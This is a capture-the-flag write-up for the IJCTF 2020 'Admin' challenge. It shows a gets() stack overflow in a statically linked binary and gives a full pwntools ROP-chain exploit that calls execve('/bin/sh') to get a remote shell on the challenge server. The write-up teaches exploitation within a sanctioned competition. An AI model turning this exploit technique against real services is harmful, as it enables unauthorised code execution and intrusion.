Tags: bof admin rop 

Rating: 4.5

IJCTF 2020
Admin - (100PT)

####################################################################################################
Description

This admin thinks his system is very safe Is it actually safe? I say it’s safe what do you think?
nc 35.186.153.116 7002
##################

Analysis:
admin: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=0ee31668ec040c05db870d1fcef7e198c0a53d37, stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

BOF in main
void main(void)

{
int iVar1;
undefined auStack72 [64];

puts(&UNK_004923e4);
gets(auStack72); #vulnerable call to gets

iVar1 = func_0x00400498(auStack72,&UNK_004923ef);
if (iVar1 == 0) {
puts(&UNK_004923f5);
}
else {
printf(&UNK_00492403,auStack72);
}
return;
}

##################
since the binary is statically linked and it has no pie , No canary.
Solution : Creating a ROP chain.

rp++ found us some intresting gadgets.

pop_rdi = 0x41dc9a #: pop rdi ; ret ;
pop_rax = 0x475757 #: pop rax ; ret ;
pop_rsi = 0x48208c #: pop rsi ; ret ;
pop_rdx = 0x4aeef2 #: pop rdx ; ret ;
syscall = 0x475485 #: syscall ;
###################

we can create a rop chain which will return to gets function to store our string somewhere in the memory,
and then we setup the registers for a sys_execve call,

Here is the syscall reference for x64: https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

------------------------------------------- EXPLOIT ------------------------------------------
#! /usr/bin/env python3
from pwn import *
context.arch='amd64'
io = remote('35.186.153.116', 7002)
elf = ELF('admin')

write_mem = 0x6bb300 #the bss segment.
pop_rdi = 0x41dc9a #: pop rdi ; ret ;
pop_rax = 0x475757 #: pop rax ; ret ;
pop_rsi = 0x48208c #: pop rsi ; ret ;
pop_rdx = 0x4aeef2 #: pop rdx ; ret ;
syscall = 0x475485 #: syscall ;
gets = 0x410330 #gets function in binary ;

rop = flat([

'a'*72, #Padding of 72
#we return to pop rdi gadget;
pop_rdi, #pop rdi ; ret ;
#pop the address where we want our /bin/sh string to be.
write_mem,
#return to gets function.
gets, #return to gets ;
#after gets we return to pop_rdi again,
pop_rdi,
write_mem, #bin_sh
pop_rax, #pop rax ; ret ;
0x3b, #syscall number for execve
pop_rsi, #pop rsi ; ret ;
0x0,
pop_rdx, #pop rdx ; ret ;
0x0,
syscall
])
io.sendline(rop)
#we send /bin/sh
io.sendline('/bin/sh')
#pop the shell
io.interactive()
---------------------------------------------------------------------------------------------------

If you need any guide on how ROP works.
There is amazing information available on https://ropemporium.com

Original writeup (https://github.com/ano12-dev/IJCTF_writeups/blob/master/admin/writeup).